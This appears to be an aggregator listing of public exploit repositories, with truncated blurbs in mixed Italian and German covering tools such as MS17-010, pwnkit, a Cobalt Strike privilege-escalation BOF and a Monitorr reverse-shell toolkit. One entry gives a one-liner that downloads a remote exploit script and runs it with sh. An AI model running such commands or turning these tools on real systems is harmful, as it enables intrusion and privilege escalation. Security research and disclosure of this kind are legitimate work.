Exploits

Exploit POC di exploit per mondo reale e CTF. Mondo Reale CVE| Descrizione breve| Exploit ---|---|--- CVE-2017-5343| SQL Injection in Wordpress| POC CVE-2018-8880| Esfiltrazione di informazioni di rete non autenticata per Lutron Quantum Bacnet v2| POC CVE-2018-11629| Credenziali predefinite e non...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE Verwendung Führe das Skript mit aus root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse T...

Win10Pcap-Exploit

Win10Pcap-Exploit crediti a https://twitter.com/R00tkitSMM [email protected] nome utente telegram : https://telegram.me/firozi qualche giorno fa ho trovato una vulnerabilità nel driver Win10Pcap che può portare a un'escalation dei privilegi. Ho segnalato la vulnerabilità e ora il bug è stato...

MS17-010

MS17-010 Poiché ora tutta la nostra ricerca si trova nel repository master di Metasploit, non c'era motivo di confondere tutti tenendo aperto questo repository, dato che esistevano due versioni di tutto e, a causa dell'enorme popolarità, il supporto è diventato un incubo, visto che questo è solo ...

h-encore

h-encore h-encore , dove h sta per hack e homebrew, è il secondo jailbreak pubblico per PS Vita™ che supporta i firmware più recenti 3.65, 3.67 e 3.68. Ti consente di effettuare modifiche a livello di kernel e utente, cambiare la velocità di clock, installare plugin, eseguire homebrew e molto...

GHSA-3G44-3M7X-CGG2 Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`

Overview Yamcs compiles StreamSQL expressions to Java on the fly with the Janino SimpleCompiler no restrictive class-loading policy or expression sandbox. When a StreamSQL aggregate such as sum... is applied to a column, the column's name is interpolated unescaped into the generated Java source...

Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`

Overview Yamcs compiles StreamSQL expressions to Java on the fly with the Janino SimpleCompiler no restrictive class-loading policy or expression sandbox. When a StreamSQL aggregate such as sum... is applied to a column, the column's name is interpolated unescaped into the generated Java source...

monitorr-exploit-toolkit

Monitorr-Exploit-Toolkit RCE über unsicheren Datei-Upload PHP-Reverse-Shell, Webshell usw. Erstellung von Administratorkonten über Autorisierungs-Bypass Technischer Informationsabfluss : Monitorr-Version, PHP-Version, Systemversion & Kernel, PHP-Konfiguration usw. Exploit für CVE-2020-28872 und...

CVE-2023-22855

CVE-2023-22855 Questa vulnerabilità è stata scoperta e divulgata da Nico Viakowski e da me. Questo repository conterrà l'advisory e l'exploit. Questo repository ha solo scopo educativo. Collegamenti Sito del fornitore: https://www.kardex.com/en/mlog-control-center Exploit su Exploit-DB:...

Exploits

Questo repository contiene una raccolta personale di CVE Windows che ho trasformato in exploit sorgente, oltre a una raccolta di payload che ho scritto per essere utilizzati in combinazione con questi exploit. Alcune di queste CVE sono state unite in catene di exploit per RCE, evasioni sandbox ed...

DoubleStar

. . \ | | | / // | | | \ / \ | | | \ | | / \ \ \ \ \ | | | /| \ | |\ / / \ | | / | | / / / / |/ | /|/ / / || /| | / / / / / Windows 8.1 IE/Firefox-RCE - Sandbox-Escape - SYSTEM-EoP-Exploit-Kette root@kitploit: | Remote PAC | || ^ | HTTPS RPC/ALPC RPC/ALPC | firefox.exe | ---------- | svchost.exe ...

poc-cve-2021-4034

poc-cve-2021-4034 PoC per CVE-2021-4034 soprannominato pwnkit Come usarlo basta eseguire make e poi controllare la cartella release oppure, se preferisci, il comando in una riga sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Divertiti...

CVE-2020-29669

Macally WIFISD2-2A82 Writeup per CVE-2020-29669 di Maximilian Barz Silky e Daniel Schwendner code-byter ========================== Questo è un writeup sullo sfruttamento del Macally WIFISD2-2A82 Travel Router versione firmware: 2.000.010. L'utente Guest è in grado di reimpostare la propria...

CVE-2019-11932

CVE-2019-11932 Die Adresse von system und des Gadgets muss durch die tatsächliche Adresse ersetzt werden, die durch eine Schwachstelle zur Offenlegung von Informationen ermittelt wurde. Nachdem Sie die Adresse von system und des Gadgets ersetzt haben, führen Sie den Code aus, um die beschädigte...

copy-fail-mcp

Copy Fail MCP 📖 Guida all'installazione — avvio rapido, configurazione manuale e risoluzione dei problemi CVE-2026-31431 — La peggiore vulnerabilità Linux mai scoperta. Ora controllabile tramite MCP. 732 byte di Python. Nessuna compilazione. Nessuna race condition. Nessun offset per distro. Un...

CVE-2026-49176_BOF

CVE-2026-49176 BOF per Cobalt Strike BOF Beacon Object File per Cobalt Strike per l'escalation dei privilegi locale tramite Windows WalletService CVE-2026-49176 , corretto a luglio 2026. Da un Beacon a integrità media utente standard, questo strumento prepara un database ESE Wallet dannoso,...

CVE-2023-6241

Exploit per CVE-2023-6241 Il write-up si trova qui. Si tratta di un bug nel driver del kernel Arm Mali che ho segnalato a novembre 2023. Il bug può essere utilizzato per ottenere l'esecuzione arbitraria di codice nel kernel dal dominio delle app non fidate, che viene poi usato per disabilitare...

offensive-security-adversary-emulation

Projekt 5 — Offensive Security & Adversary Emulation Teil eines 5-Projekte-Home-Lab-SOC-Bogens: aufbauen → erkennen & anreichern → untersuchen → überwachen & jagen → angreifen & gegenprüfen. Dieses Projekt ergänzt die fehlende Hälfte des Bildes aus den Projekten 1–4: Alles davor war Blue Team...

Apache-OFBiz-Exploit

Apache-OFBiz-Exploit Exploit für Apache OFBiz CVE-2024-38856 Von: Alisson Faoli Beschreibung Dieses Repository enthält einen Exploit für die Schwachstelle CVE-2024-38856 in Apache OFBiz. Der Fehler ermöglicht eine nicht authentifizierte Remote Code Execution RCE. Hinweis: Dieser Exploit dient...

dell-emc_recoverpoint

Dell EMC RecoverPoint Exploit per una piattaforma enterprise di protezione dati Ho scoperto le seguenti vulnerabilità nella piattaforma enterprise di protezione dati RecoverPoint, menzionate nella divulgazione di Dell EMC. http://seclists.org/fulldisclosure/2018/May/61 Esecuzione remota di codice...